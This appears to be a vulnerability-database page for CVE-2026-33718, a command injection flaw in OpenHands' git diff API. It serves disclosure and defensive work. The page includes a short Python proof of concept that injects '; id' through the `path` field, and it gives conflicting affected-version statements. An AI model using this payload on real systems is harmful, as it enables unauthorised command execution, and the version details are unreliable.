Security Vulnerability Report
中文
CVE-2026-33718 CVSS 7.6 HIGH

CVE-2026-33718

Published: 2026-03-27 01:16:19
Last Modified: 2026-04-10 15:23:47

Description

OpenHands is software for AI-driven development. Starting in version 1.5.0, a Command Injection vulnerability exists in the `get_git_diff()` method at `openhands/runtime/utils/git_handler.py:134`. The `path` parameter from the `/api/conversations/{conversation_id}/git/diff` API endpoint is passed unsanitized to a shell command, allowing authenticated attackers to execute arbitrary commands in the agent sandbox. The user is already allowed to instruct the agent to execute commands, but this bypasses the normal channels. Version 1.5.0 fixes the issue.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:openhands:openhands:*:*:*:*:*:python:*:* - VULNERABLE
OpenHands 1.5.0 (存在漏洞的特定构建)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Replace with actual host) target_url = "http://localhost:3000/api/conversations/{conversation_id}/git/diff" # Valid conversation ID and authentication token are required conversation_id = "valid_conversation_id" auth_token = "your_valid_auth_token" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Payload to inject a command (e.g., 'id') # The semicolon is used to terminate the intended git command and execute a new one payload = "; id" data = { "path": payload } try: response = requests.post( target_url.format(conversation_id=conversation_id), json=data, headers=headers ) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33718", "sourceIdentifier": "[email protected]", "published": "2026-03-27T01:16:19.483", "lastModified": "2026-04-10T15:23:47.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenHands is software for AI-driven development. Starting in version 1.5.0, a Command Injection vulnerability exists in the `get_git_diff()` method at `openhands/runtime/utils/git_handler.py:134`. The `path` parameter from the `/api/conversations/{conversation_id}/git/diff` API endpoint is passed unsanitized to a shell command, allowing authenticated attackers to execute arbitrary commands in the agent sandbox. The user is already allowed to instruct the agent to execute commands, but this bypasses the normal channels. Version 1.5.0 fixes the issue."}, {"lang": "es", "value": "OpenHands es un software para el desarrollo impulsado por IA. A partir de la versión 1.5.0, existe una vulnerabilidad de inyección de comandos en el método 'get_git_diff()' en 'openhands/runtime/utils/git_handler.py:134'. El parámetro 'path' del endpoint de API '/api/conversations/{conversation_id}/git/diff' se pasa sin sanear a un comando de shell, permitiendo a atacantes autenticados ejecutar comandos arbitrarios en el sandbox del agente. Al usuario ya se le permite instruir al agente para ejecutar comandos, pero esto elude los canales normales. La versión 1.5.0 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openhands:openhands:*:*:*:*:*:python:*:*", "versionEndExcluding": "1.5.0", "matchCriteriaId": "FB590D9A-3D08-4968-B688-9BBC5061FCE2"}]}]}], "references": [{"url": "https://docs.python.org/3/library/shlex.html#shlex.quote", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://docs.python.org/3/library/subprocess.html#security-considerations", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://github.com/OpenHands/OpenHands/pull/13051", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/OpenHands/OpenHands/security/advisories/GHSA-7h8w-hj9j-8rjw", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://owasp.org/www-community/attacks/Command_Injection", "source": "[email protected]", "tags": ["Technical Description"]}]}}